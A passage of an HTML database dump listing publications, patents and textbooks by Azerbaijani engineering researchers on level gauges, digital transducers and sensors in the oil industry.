AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; SPESIAL&nbsp;&nbsp; DEVICES&nbsp;&nbsp; FOR&nbsp;&nbsp;&nbsp;</p><p>&nbsp; POSITION CONTROL&nbsp; OF&nbsp; ACTUATORS&nbsp;&nbsp; IN&nbsp; IRRIGATION&nbsp;&nbsp; SYSTEMS</p></td><td width=\"72\"><p>&nbsp;article</p></td><td width=\"108\"><p>NabiyevI.A., Pashayev M.C.</p></td><td width=\"102\"><p>AIOC,</p><p>Baku</p></td><td width=\"54\"><p>1984</p></td><td width=\"54\"><p>No.52</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; SPESIAL&nbsp;&nbsp; DEVICES&nbsp;&nbsp; FOR&nbsp;&nbsp;</p><p>&nbsp;AUTOMATIC CONTROL&nbsp; OF&nbsp; LIQUID&nbsp;&nbsp; LEVEL&nbsp; IN&nbsp; IRRIGATION&nbsp;&nbsp; SYSTEMS</p></td><td width=\"72\"><p>&nbsp;&nbsp;&nbsp;&nbsp; article</p></td><td width=\"108\"><p>NabiyevI.A., Guliyev R.A.</p></td><td width=\"102\"><p>AIOC,</p><p>Baku</p></td><td width=\"54\"><p>1985</p></td><td width=\"54\"><p>No.52</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; ELEMENTS&nbsp;&nbsp; AND&nbsp;&nbsp;&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SYSTEMS OF ACTUATION&nbsp;&nbsp;&nbsp; FOR&nbsp; OIL&nbsp;&nbsp;&nbsp; PRODUCTION</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A.,</p></td><td width=\"102\"><p>AIOC,Baku</p></td><td width=\"54\"><p>1986</p></td><td width=\"54\"><p>No.202</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>CAPACITIVE&nbsp;&nbsp; DIGITAL&nbsp;&nbsp; LEVEL&nbsp;&nbsp; INDICATOR&nbsp;&nbsp; FOR&nbsp;&nbsp; CONDUCTING&nbsp;&nbsp; LIQUIDS</p></td><td width=\"72\"><p>Article&nbsp;</p></td><td width=\"108\"><p>Shiraliyev G.U.</p></td><td width=\"102\"><p>Proceedings of Scientific&nbsp;&nbsp; Conference&nbsp;&nbsp; of&nbsp; Universities&nbsp;&nbsp; of&nbsp;</p><p>Azerbaijan.Baku</p></td><td width=\"54\"><p>1986</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>STRUCTURE&nbsp; PROBLEMS&nbsp;&nbsp; OF DIGITAL&nbsp;&nbsp; LEVEL&nbsp;&nbsp; INDICATORS&nbsp;&nbsp; WITH&nbsp;&nbsp;</p><p>&nbsp;CAPACITIVE SENSITIVE&nbsp; ELEMENTS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Guliyev R.A. Mammdov U.G., Mammadova A.K.</p></td><td width=\"102\"><p>“Equipment&nbsp; of&nbsp;&nbsp; Control&nbsp;&nbsp; Systems of&nbsp;</p><p>Oil&nbsp; and Refinery&nbsp; Industry”,AIOC, Baku</p></td><td width=\"54\"><p>1988</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>MICROPROCESSOR&nbsp;&nbsp;&nbsp; AUTOMATIC&nbsp;&nbsp; TELEMETRY&nbsp;&nbsp; SYSTEM&nbsp; OF&nbsp;&nbsp; WELL&nbsp;&nbsp;&nbsp;</p><p>&nbsp;PRODUCTIVITY</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Nabiyev I.A., Mammdov U.G., Mammadova A.K.</p></td><td width=\"102\"><p>“Automatics&nbsp; and&nbsp; Instrument&nbsp;&nbsp; Engineering”Baku</p></td><td width=\"54\"><p>1989</p></td><td width=\"54\"><p>No. 3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>MOVEMENT&nbsp;&nbsp; - CODE CONVERTER&nbsp;</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Nabiyev I.A., Mammdov U.G., Mammadova A.K., Pashayev M.C.</p></td><td width=\"102\"><p>“Oil&nbsp; and&nbsp; Gas”, &nbsp;&nbsp;Baku</p></td><td width=\"54\"><p>1992</p></td><td width=\"54\"><p>No.3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INCREASING&nbsp; OF&nbsp; RESOLUTION&nbsp; AND&nbsp; NOISE&nbsp;&nbsp; IMMUNITY&nbsp; OF&nbsp; DIGITAL&nbsp;&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TRANSDUCERS OF&nbsp; LINEAR&nbsp;&nbsp; MOVEMENT</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>&nbsp;Proseedings “Investigation &nbsp;and&nbsp;&nbsp; Development&nbsp; of&nbsp; Equipments for&nbsp; local&nbsp;&nbsp; Control&nbsp; Systems”, AIOC, Baku</p></td><td width=\"54\"><p>1992</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ANALYSIS&nbsp; OF&nbsp; CODING&nbsp;&nbsp; ELEMENT&nbsp;&nbsp; WITH&nbsp;&nbsp;&nbsp; MULTISECTION&nbsp; COILS&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;FOR&nbsp;&nbsp;&nbsp; SELF-EXCITING&nbsp;&nbsp; OSCILLATOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TRANSDUCERS&nbsp;&nbsp; OF&nbsp; MOMENTS .</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>“Oil&nbsp; and&nbsp; Gas”,&nbsp; Baku</p></td><td width=\"54\"><p>1993</p></td><td width=\"54\"><p>No.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DEVELOPMENT&nbsp;&nbsp;&nbsp; PROBLEMS&nbsp; OF&nbsp; TWO- MEASURING&nbsp; SELF-&nbsp; EXCITING&nbsp;</p><p>OSCILLATOR TRANSDUCERS</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>Proceedings “Investigation&nbsp;&nbsp; and&nbsp; &nbsp;Development&nbsp; of&nbsp;&nbsp; Equipments&nbsp; for Local Control&nbsp; Systems”, AIOC, Baku</p></td><td width=\"54\"><p>1993</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>POSSIBILITY&nbsp; OF&nbsp; UTILIZATION&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; NON – CONTACT&nbsp; SKIN – SENSORS&nbsp;</p><p>IN&nbsp;&nbsp; CONTROL&nbsp; SYSTEMS.</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R.</p></td><td width=\"102\"><p>“Scientific&nbsp; Papers” ASOA ,</p><p>Baku</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>No.3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DIGITAL&nbsp;&nbsp; DEVICES&nbsp; FOR AUTOMATIC&nbsp; GAUGING&nbsp;&nbsp; OF&nbsp; LINEAR&nbsp;&nbsp;&nbsp;&nbsp;</p><p>MOVEMENT&nbsp; IN CONTROL&nbsp; SYSTEMS</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p>Pashayev M.C.</p></td><td width=\"102\"><p>Proceedings of Conference “Utilization&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; of&nbsp;&nbsp; Scientific&nbsp;&nbsp; Potential&nbsp;&nbsp; of&nbsp; Azerbaijan&nbsp;&nbsp;&nbsp; in&nbsp;&nbsp; Industry”,&nbsp; Baku</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ADAPTIVE&nbsp; VIRTUAL&nbsp; SENSOR&nbsp; DIGITIZERS&nbsp;&nbsp; FOR&nbsp; DATA&nbsp; PROCESSING&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SYSTEMS.</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p>Chebarev A.I</p></td><td width=\"102\"><p>Proceedings of Conference&nbsp; “Utilization&nbsp; of&nbsp;&nbsp; Scientific&nbsp; Potential&nbsp;&nbsp; of&nbsp;&nbsp;&nbsp;&nbsp; Azerbaijan&nbsp;&nbsp; in&nbsp; Industry”, Baku</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PRINCIPLES&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; STRUCTURE&nbsp;&nbsp; OF&nbsp; NON- CONTACT&nbsp;&nbsp;&nbsp;&nbsp; SKIN-SENSORS&nbsp;&nbsp; AND&nbsp; THEIR&nbsp; CIRCUITRY&nbsp; REALIZATION.&nbsp;</p></td><td width=\"72\"><p>Article.</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R.</p></td><td width=\"102\"><p>Proceedings “Investigation&nbsp;&nbsp; &nbsp;and&nbsp; Development&nbsp; of&nbsp;&nbsp; Equipments for Local Control&nbsp; Systems”, AIOC, Baku</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PROBLEMS OF DEVELOPMENT OF BIOTECHNICAL RESONANT SENSORS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R., Novruzaliyev F.S.</p></td><td width=\"102\"><p>Proceedings of Scientific Conference AzNIPINEFT</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ANALYSIS&nbsp; OF&nbsp;&nbsp; NOISE&nbsp;&nbsp;&nbsp; IMMUNITY&nbsp;&nbsp; OF&nbsp; SELF&nbsp; - EXCITING&nbsp;&nbsp; OSCILLATOR</p><p>TRANSDUCERS&nbsp; WITH&nbsp;&nbsp; MULTISECTION&nbsp;&nbsp; SENSITIVE&nbsp;&nbsp; ELEMENTS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>Scientific Papers”, ASOA, Baku</p></td><td width=\"54\"><p>1995</p></td><td width=\"54\"><p>No. 1</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PRINSIPLES&nbsp; OF&nbsp;&nbsp; STRUCTURE&nbsp;&nbsp; AND&nbsp;&nbsp; PERSPECTIVES&nbsp;&nbsp; OF&nbsp; UTILIZATION&nbsp;</p><p>&nbsp;OF BIOSENSORS</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R., Novruzaliyev F.S.</p></td><td width=\"102\"><p>Proceedings of International&nbsp;&nbsp; Congres&nbsp; “Energy,Ecology,&nbsp; Economy”, Baku</p></td><td width=\"54\"><p>1995</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LOAD-CARRYING&nbsp; CAPACITY&nbsp; OF&nbsp;&nbsp; NON-CONTACT&nbsp;&nbsp;&nbsp;&nbsp; RESONANT&nbsp;&nbsp;&nbsp; SKIN-&nbsp;&nbsp;&nbsp; SENSORS.</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>“Scientific&nbsp; Papers”, ASOA, Baku</p></td><td width=\"54\"><p>1995</p></td><td width=\"54\"><p>No.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PROBLEMS&nbsp; OF &nbsp;DEVELOPMENT&nbsp;&nbsp;&nbsp; AND&nbsp;&nbsp; CREATION&nbsp;&nbsp; OF&nbsp; HARDWARE&nbsp;&nbsp;&nbsp;</p><p>&nbsp;COMPONENTS&nbsp; FOR&nbsp;&nbsp; ORGANIZATION&nbsp;&nbsp; OF&nbsp; POLYFUNCTION&nbsp; AUTOMATIC&nbsp;&nbsp;</p><p>&nbsp; OPERATORS’S&nbsp; POSITION .</p></td><td width=\"72\"><p>Article.</p></td><td width=\"108\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p>Proceedings “Investigation&nbsp;&nbsp; and&nbsp; Development&nbsp;</p><p>&nbsp;of&nbsp;&nbsp; Equipments for Local Control&nbsp;&nbsp;&nbsp;&nbsp; Systems”,AIOC, Baku</p></td><td width=\"54\"><p>1995</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>BIREADING&nbsp; DIGITAL&nbsp; MOVEMENT&nbsp;&nbsp; TRANSDUCER.&nbsp;</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>“Oil and&nbsp; Gas”,Baku</p></td><td width=\"54\"><p>1996</p></td><td width=\"54\"><p>No.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>SOME&nbsp; PROBLEMS&nbsp; OF&nbsp; DEVELOPMENT&nbsp; OF&nbsp;&nbsp; NON-CONTACT&nbsp;&nbsp; SKIN-</p><p>SENSORS.</p></td><td width=\"72\"><p>Article.</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R.,</p></td><td width=\"102\"><p>Proceedings ”Investingation&nbsp; and&nbsp; Devopment&nbsp;&nbsp; of&nbsp; Equipments&nbsp;&nbsp; for&nbsp;&nbsp; Local&nbsp;&nbsp; Control&nbsp; Systems”, ASOA, Baku</p></td><td width=\"54\"><p>1996</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>FUZZY&nbsp;&nbsp; OPTIMIZATION&nbsp;&nbsp; OF&nbsp;&nbsp; OPERATION&nbsp; MODES&nbsp;&nbsp; OF&nbsp;&nbsp; GASLIFT&nbsp; WELLS//</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Yusifov S.</p></td><td width=\"102\"><p>Proceedings of Third&nbsp; International&nbsp;&nbsp; Conference&nbsp;&nbsp;&nbsp; on&nbsp;&nbsp; Application&nbsp;&nbsp; of&nbsp; Fuzzy&nbsp; Systems&nbsp;&nbsp; and&nbsp; Soft&nbsp; Computing,Wiesbaden, Germany</p></td><td width=\"54\"><p>1998</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>FUZZY&nbsp; EXPERT&nbsp; SYSTEM&nbsp; OF&nbsp; DYNAMICAL&nbsp;&nbsp;&nbsp; DIAGNOSE&nbsp;&nbsp; OF TECHNICAL&nbsp;&nbsp; STATE&nbsp;&nbsp; OF GASLIFT&nbsp;&nbsp; EQUIPMENT&nbsp; //&nbsp; Abstracts of&nbsp;&nbsp; the&nbsp;</p><p>&nbsp;</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Yusifov S.</p></td><td width=\"102\"><p>Proceedings of 4-th&nbsp;</p><p>International&nbsp;&nbsp; Conference&nbsp;&nbsp; on&nbsp; Application&nbsp; of Fuzzy&nbsp; Systems&nbsp; and&nbsp; Soft Computing,Siegen,Germany</p></td><td width=\"54\"><p>2000</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>VISUAL&nbsp;&nbsp; ANALYSIS&nbsp; AND&nbsp;&nbsp; MANAGEMENT&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; PHYSIOLOGICAL&nbsp; EMOTIONAL CONDITION&nbsp;&nbsp; USING&nbsp;&nbsp; MULTIMEDIA&nbsp; SYSTEMS</p><p>&nbsp;</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Talibov S.</p></td><td width=\"102\"><p>Proceedings of International&nbsp;&nbsp; Conference on Computer&nbsp; Vision,&nbsp; Computer &nbsp;Graphics, New&nbsp;</p><p>&nbsp;Media - EWV 02 Graz, Austria</p></td><td width=\"54\"><p>2002</p></td><td width=\"54\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1547,965,'en',' Rafig Ahmadov',' Rafig Ahmadov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"642\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"221\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"72\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"108\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"54\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"54\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><p>&nbsp;</p></td><td width=\"221\"><p><strong>TEXTBOOKS</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"72\"><p><strong>&nbsp;</strong></p></td><td width=\"108\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"54\"><p><strong>&nbsp;</strong></p></td><td width=\"54\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DESIGN&nbsp;&nbsp; OF&nbsp; AUTOMATICS&nbsp;&nbsp;&nbsp; AND&nbsp; TELECOMMUNICATIONS&nbsp;&nbsp; DEVICES (in Russian).</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>Nabiyev I.A., Mammadova A.K.</p></td><td width=\"102\"><p>Azerbaijan State Oil Academy, Baku</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>30</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ELECTRONIC&nbsp;&nbsp; CIRCUITS (in Engl.)</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>-</p></td><td width=\"102\"><p>Dar&nbsp; es&nbsp; Salaam, Tanzania</p></td><td width=\"54\"><p>1980</p></td><td width=\"54\"><p>120</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>AUTOMATICS&nbsp;&nbsp;&nbsp; AND&nbsp; TELECOMMUNICATIONS&nbsp;&nbsp; DEVICES&nbsp; ( Analog&nbsp; and Digital Devices (in Azerb.)</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>Vaisman G.S.</p><p>Mursaliyev O.K.</p></td><td width=\"102\"><p>Azerbaijan State Oil Academy, Baku, Baku</p></td><td width=\"54\"><p>1987</p></td><td width=\"54\"><p>50</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ELECTRONIC&nbsp;&nbsp; DEVICES. (in Engl.)</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>-</p></td><td width=\"102\"><p>&nbsp;Mbeya, Tanrania</p></td><td width=\"54\"><p>1988</p></td><td width=\"54\"><p>34</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INDUSTRIAL&nbsp; ELECTRONICS. (in Engl.)</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>-</p></td><td width=\"102\"><p>Mbeya, Tanrania</p></td><td width=\"54\"><p>1990</p></td><td width=\"54\"><p>42</p></td></tr><tr><td width=\"31\"><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"221\"><p>PATENTS</p></td><td width=\"72\"><p>&nbsp;</p></td><td width=\"108\"><p>&nbsp;</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LEVEL&nbsp; INDICATOR.&nbsp;</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR No. 273460</p></td><td width=\"108\"><p>Nabiyev I.A., Rustamov N.S.</p></td><td width=\"102\"><p>”Bulletin&nbsp; of&nbsp;&nbsp;&nbsp; Inventions” Moscow</p></td><td width=\"54\"><p>1970</p></td><td width=\"54\"><p>No.20</p><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ULTRASONIC&nbsp; LEVEL&nbsp;&nbsp; GAUGE</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR No. 546786</p></td><td width=\"108\"><p>Nabiyev I.A., Rekhels T.R., Rubin I.D.</p></td><td width=\"102\"><p>Bulletin&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; of&nbsp; Inventions Moscow</p></td><td width=\"54\"><p>&nbsp;</p><p>1977.</p><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p><p>No.6.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LEVEL&nbsp; INDICATOR</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR No. 551513</p><p>&nbsp;</p></td><td width=\"108\"><p>Nabiyev I.A., Mahmudov F.A.</p></td><td width=\"102\"><p>”Bulletin&nbsp; of&nbsp;&nbsp; Inventions” ,Moscow</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.11</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ULTRASONIC&nbsp; LEVEL&nbsp;&nbsp;&nbsp; GAUGE</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR No. 551514</p></td><td width=\"108\"><p>Nabiyev I.A., Rekhels T.R., Rubin I.D</p></td><td width=\"102\"><p>Bulletin&nbsp;&nbsp;</p><p>&nbsp;of&nbsp; Inventions”,Moscow</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.11</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LINEAR&nbsp; MOVEMENT&nbsp;&nbsp; DIGITIZER</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No. 1481881</p><p>&nbsp;</p></td><td width=\"108\"><p>NabiyevI.A., Pashayev M.C.</p></td><td width=\"102\"><p>Bulletin&nbsp;&nbsp;</p><p>&nbsp;of&nbsp; Inventions”,Moscow</p></td><td width=\"54\"><p>1989</p></td><td width=\"54\"><p>No.19</p></td></tr><tr><td width=\"31\"><p><strong>&nbsp;</strong></p></td><td width=\"221\"><p><strong>SCIENTIFIC ARTICLES AND PROCEEDINGSS</strong></p></td><td width=\"72\"><p>&nbsp;</p></td><td width=\"108\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ANALYSIS&nbsp; OF&nbsp; CODE&nbsp;&nbsp;&nbsp; DISK&nbsp;&nbsp; OF&nbsp;&nbsp;&nbsp; CONVERTER&nbsp;&nbsp; BASED&nbsp;&nbsp;&nbsp; ON&nbsp;&nbsp;</p><p>&nbsp;SUPPRESSION&nbsp;&nbsp;&nbsp; OF&nbsp; OSCILLATION</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I.</p></td><td width=\"102\"><p>“Prooblems&nbsp;&nbsp; of&nbsp;&nbsp; Computer&nbsp; Engineering” Baku</p></td><td width=\"54\"><p>1967</p></td><td width=\"54\"><p>Vol.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DETERMINATION&nbsp;&nbsp; OF&nbsp;&nbsp; ELEMENTS&nbsp; OF&nbsp; NON-CONTACT&nbsp;&nbsp;&nbsp; DIGITAL</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CONVERTER</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I.</p></td><td width=\"102\"><p>”Technical&nbsp; Progress”</p><p>Baku</p></td><td width=\"54\"><p>1967</p></td><td width=\"54\"><p>No.5</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PROBLEMS&nbsp; OF&nbsp; DEVELOPMENT&nbsp; OF&nbsp;&nbsp; NON-CONTACT&nbsp;&nbsp;&nbsp; DIGITAL&nbsp;&nbsp; LEVEL&nbsp; INDICATORS.</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I.</p></td><td width=\"102\"><p>Proceedings of Scientific&nbsp; Conference&nbsp; at&nbsp; AIOC&nbsp; (Azerbaijan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;&nbsp;Institute&nbsp; of&nbsp; Oil&nbsp; and Chemistry)Baku</p></td><td width=\"54\"><p>1968</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>FAST&nbsp;&nbsp; ACTION&nbsp; DIGITAL&nbsp; LEVEL&nbsp;&nbsp; INDICATOR</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I.</p></td><td width=\"102\"><p>”Technical&nbsp; Progress “,Baku</p></td><td width=\"54\"><p>1969</p></td><td width=\"54\"><p>No.7</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DIGITAL&nbsp;&nbsp; TRANSDUCERS&nbsp; OF&nbsp; LIQUID&nbsp;&nbsp; LEVELS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I., Rustamov N.S.</p></td><td width=\"102\"><p>Proceedings of USSR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Scientific Conference&nbsp; on&nbsp; Development&nbsp;&nbsp; of&nbsp; Digital&nbsp; Measuring&nbsp; Technology. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Moscow,</p></td><td width=\"54\"><p>1969</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>STRUCTURE&nbsp; OF&nbsp;&nbsp; MOVEMENT-CODE&nbsp;&nbsp; CONVERTERS&nbsp; WITH&nbsp;&nbsp;&nbsp; IMMOVABLE&nbsp;&nbsp; CODE MASKS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>.”Electromechanics”, Moscow</p></td><td width=\"54\"><p>1970</p></td><td width=\"54\"><p>No.2</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>NON-CONTACT&nbsp; &nbsp;&nbsp;&nbsp;ANGLE – CODE&nbsp;&nbsp; CONVERTER&nbsp; WITH&nbsp; RELAY&nbsp; SERVO&nbsp; DEVICE</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>.“Control&nbsp;&nbsp; Systems&nbsp;&nbsp; and&nbsp; Devices”, Moscow</p></td><td width=\"54\"><p>1971</p></td><td width=\"54\"><p>No.6</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp;&nbsp;&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp; DIGITAL&nbsp; GAUGES&nbsp;&nbsp; FOR&nbsp;&nbsp;</p><p>OIL INDUSTRY</p></td><td 